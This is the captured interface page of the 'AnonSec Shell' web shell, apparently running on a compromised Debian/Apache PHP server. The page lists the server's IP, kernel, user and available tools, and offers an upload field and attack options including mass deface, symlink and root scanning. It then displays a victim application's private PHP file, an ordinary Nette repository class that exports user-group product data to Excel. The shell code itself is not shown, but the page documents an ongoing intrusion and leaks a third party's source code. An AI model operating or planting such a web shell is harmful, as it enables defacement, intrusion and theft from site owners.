AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/model/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/model/UserGroupRepository.php

<?php

namespace Promoteus;


use Nette\Database\Context;
use Nette\Security\User;
use Promoteus\UserGroupAccessibilityRepository;
use Nette\DI\Container;


/**
 * Table "user_group"
 */
class UserGroupRepository extends Repository
{
    protected $tableName = 'user_group';


    /**
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function export($id)
    {
        /** @var UserGroupAccessibilityRepository $userGroupAccess */
        $userGroupAccess = $this->getService('userGroupAccessibilityRepository');
        //Export

        $data = $userGroupAccess->getUserGroupData($id);

        if (!empty($data)) {
            $document = new \PHPExcel();
            $document->setActiveSheetIndex(0);

            $i = 0;
            //header row
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'Produkty');           //A
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'Povolený produkt');   //B
            $row = 2;

            foreach ($data as $key => $value) {
                $i = 0;
                // $active = $value->visible ? 'Aktivní' : 'Neaktivní';
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $value->product_code); //product
                $document->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, $value->product_visible); //visible
                $row++;
            }

            //style
            foreach (range('A', 'B') as $columnID) {
                $document->getActiveSheet()->getColumnDimension($columnID)
                    ->setAutoSize(true);
            }
            $document->getActiveSheet()->getStyle('A1:B1')->getFont()->setBold(true);
            $document->getActiveSheet()->setTitle('Skupina');
            $document->getActiveSheet()->getStyle('A1:B1')->getFont()->setBold(true);
            $document->getActiveSheet()->setTitle('Skupina');


            //vygenerování exportu skupiny
            $title = empty($data) ? '' : $data[0]['title'];
            $document->getActiveSheet()->setTitle($title);
            $documentWriter = \PHPExcel_IOFactory::createWriter($document, 'Excel2007');
            $fName = '[ZS-' . $title . ']_' . $this->month_to_czech(date("n")) . '_' . date('Y') . '.xlsx';
            header('Content-Type: application/vnd.ms-excel');
            header('Content-Disposition: attachment;filename="' . $fName . '"');
            header('Cache-Control: max-age=0');


            try {
                $documentWriter->save('php://output');
            } catch (\Exception $e) {
                $this->flashMessage('Vznikla chyba. Pracujeme na zlepšení.', 'danger');
                $this->redrawControl('flashes');
            }
            ob_flush();
            die;
        } else {
            $document = new \PHPExcel();
            $document->setActiveSheetIndex(0);
            $i = 0;
            //header row
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'Produkty');
            $document->getActiveSheet()->setCellValueByColumnAndRow($i++, 1, 'Povolený produkt');
            foreach (range('A', 'E') as $columnID) {
                $document->getActiveSheet()->getColumnDimension($columnID)
                    ->setAutoSize(true);
            }
            $document->getActiveSheet()->getStyle('A1:B1')->getFont()->setBold(true);
            $document->getActiveSheet()->setTitle('Skupina');
            $document->getActiveSheet()->getStyle('A1:B1')->getFont()->setBold(true);
            $document->getActiveSheet()->setTitle('Skupina');


            //vygenerování exportu skupiny
            $title = $id;
            $document->getActiveSheet()->setTitle($title);
            $documentWriter = \PHPExcel_IOFactory::createWriter($document, 'Excel2007');
            $fName = '[ZS-' . $title . ']_' . $this->month_to_czech(date("n")) . '_' . date('Y') . '.xlsx';
            header('Content-Type: application/vnd.ms-excel');
            header('Content-Disposition: attachment;filename="' . $fName . '"');
            header('Cache-Control: max-age=0');
            try {
                $documentWriter->save('php://output');
            } catch (\Exception $e) {
                $this->flashMessage('Vznikla chyba. Pracujeme na zlepšení.', 'danger');
                $this->redrawControl('flashes');
            }
        }
    }

    /**
     * @param $id
     * @return \Nette\Database\Table\ActiveRow|void
     * @throws RepositoryException
     */
    function delete($id)
    {
        $this->foreignKeys['pricelist'] = 'user_group_id';
        parent::delete($id);
    }
    function month_to_czech($month) {
        static $months = array(1 => 'leden', 'únor', 'březen', 'duben', 'květen', 'červen', 'červenec', 'srpen', 'září', 'říjen', 'listopad', 'prosinec');
        return $months[$month];
    }
}

Anon7 - 2022
AnonSec Team